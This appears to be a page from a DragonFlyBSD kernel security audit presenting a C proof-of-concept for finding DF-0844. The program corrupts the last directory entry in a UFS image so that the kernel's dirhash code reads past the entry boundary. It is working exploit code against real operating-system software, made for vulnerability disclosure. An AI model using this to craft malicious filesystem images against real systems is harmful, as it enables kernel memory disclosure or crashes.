โฌข DragonFlyBSD Kernel Audit
DF-0844 / dirhash_corrupt.c
โ† back to finding โ†“ download raw
/*
 * DF-0844 โ€” Image corruptor v3: directly patches the last dir entry
 * in a UFS image to create a malformed entry where d_reclen < DIRSIZ.
 *
 * The patch sets the last legitimate entry's d_namlen=255 and reduces
 * d_reclen to the minimum that passes the chunk-bounds check (12 bytes,
 * aligned to DIRALIGN=4). This makes d_reclen(12) < DIRSIZ(255)=264,
 * which is the exact condition the dirhash code fails to check.
 *
 * The dirhash build loop will:
 *   1. Accept the entry (passes existing chunk check: 12 <= remaining)
 *   2. Call ufsdirhash_hash(ep->d_name, 255) โ€” reading 255 bytes from
 *      d_name, which extends 243 bytes past the entry's d_reclen boundary
 *      into adjacent directory data or past the buffer tail.
 *   3. Then advance by d_reclen=12 to the next "entry" position.
 *
 * Whether the build ultimately succeeds depends on what the adjacent
 * data looks like. But the OOB READ at step 2 is the vulnerability.
 *
 * Usage: ./dirhash_corrupt <image_file>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

struct direct {
    uint32_t d_ino;
    uint16_t d_reclen;
    uint8_t  d_type;
    uint8_t  d_namlen;
    char     d_name[256];
};

#define DIRECT_HDRSZ 8
#define DIRBLKSIZ    512
#define MAXNAMLEN    255
#define DIRALIGN     4

#define DIRECTSIZ(namlen) \
    ((DIRECT_HDRSZ + ((namlen)+1) + 3) & ~3)

int
main(int argc, char **argv)
{
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <image>\n", argv[0]);
        return 2;
    }
    const char *imgpath = argv[1];

    int fd = open(imgpath, O_RDWR);
    if (fd < 0) { perror("open"); return 2; }

    off_t imgsz = lseek(fd, 0, SEEK_END);
    lseek(fd, 0, SEEK_SET);
    char *img = malloc(imgsz);
    if (!img) { perror("malloc"); return 2; }
    if (read(fd, img, imgsz) != imgsz) { perror("read"); return 2; }
    close(fd);

    /* Find "file_0000" pattern to locate testdir */
    const char *needle = "file_0000";
    size_t nlen = strlen(needle);
    off_t name_off = -1;
    for (off_t i = 0; i + nlen < imgsz; i++) {
        if (img[i] == 'f' && memcmp(img + i, needle, nlen) == 0) {
            name_off = i;
            break;
        }
    }
    if (name_off < 0) {
        fprintf(stderr, "Pattern not found\n");
        free(img); return 1;
    }

    /* Walk entries from the DIRBLKSIZ-aligned block start */
    off_t entry_start = name_off - DIRECT_HDRSZ;
    off_t blk_start = (entry_start / DIRBLKSIZ) * DIRBLKSIZ;

    /* Walk ALL entries to find the last one with d_ino != 0 */
    off_t pos = blk_start;
    off_t last_entry = -1;
    int nentries = 0;
    off_t dir_end = blk_start;

    while (pos + (off_t)sizeof(struct direct) <= imgsz) {
        struct direct *ep = (struct direct *)(img + pos);
        /* Stop on invalid entry */
        if (ep->d_reclen == 0) break;
        if (ep->d_reclen < DIRECT_HDRSZ) break;
        if (ep->d_reclen > DIRBLKSIZ) break;
        /* Check chunk boundary */
        int chunk_off = pos & (DIRBLKSIZ - 1);
        if (ep->d_reclen > (int)(DIRBLKSIZ - chunk_off)) break;

        if (ep->d_ino != 0) {
            last_entry = pos;
        }
        dir_end = pos + ep->d_reclen;
        nentries++;
        pos += ep->d_reclen;
    }

    if (last_entry < 0) {
        fprintf(stderr, "No valid entry found\n");
        free(img); return 1;
    }

    struct direct *lep = (struct direct *)(img + last_entry);
    int chunk_off = last_entry & (DIRBLKSIZ - 1);
    int max_reclen = DIRBLKSIZ - chunk_off;

    printf("Directory at 0x%llx, %d entries, ends at 0x%llx\n",
           (long long)blk_start, nentries, (long long)dir_end);
    printf("Last entry at 0x%llx (chunk offset %d):\n",
           (long long)last_entry, chunk_off);
    printf("  BEFORE: ino=%u reclen=%u type=%u namlen=%u\n",
           lep->d_ino, lep->d_reclen, lep->d_type, lep->d_namlen);
    printf("  max reclen for this chunk position: %d\n", max_reclen);

    /* CORRUPT: set d_namlen=255 and d_reclen=12 (minimum aligned).
     * d_reclen=12 passes chunk check (12 <= max_reclen for any chunk_off <= 500).
     * DIRSIZ(255)=264 > 12=d_reclen โ†’ MALFORMED (missing check). */
    lep->d_namlen = MAXNAMLEN;
    lep->d_reclen = 12;  /* minimum valid aligned reclen */

    printf("  AFTER:  ino=%u reclen=%u type=%u namlen=%u\n",
           lep->d_ino, lep->d_reclen, lep->d_type, lep->d_namlen);
    printf("  DIRSIZ(255) = %u > d_reclen(12) โ†’ MALFORMED\n",
           (uint32_t)DIRECTSIZ(MAXNAMLEN));

    /* Calculate OOB extent: d_name read = 255 bytes from (entry+8) */
    off_t name_start = last_entry + DIRECT_HDRSZ;
    off_t name_end = name_start + MAXNAMLEN;
    printf("  d_name read: 0x%llx..0x%llx (%d bytes)\n",
           (long long)name_start, (long long)name_end, MAXNAMLEN);
    printf("  Entry boundary (d_reclen): 0x%llx..0x%llx\n",
           (long long)last_entry, (long long)(last_entry + 12));
    printf("  OOB past d_reclen: %lld bytes into adjacent dir data\n",
           (long long)(name_end - (last_entry + 12)));

    /* Write back */
    fd = open(imgpath, O_RDWR);
    if (fd < 0) { perror("open write"); free(img); return 2; }
    if (write(fd, img, imgsz) != imgsz) { perror("write"); close(fd); free(img); return 2; }
    close(fd);
    free(img);

    printf("\nCorruption complete.\n");
    return 0;
}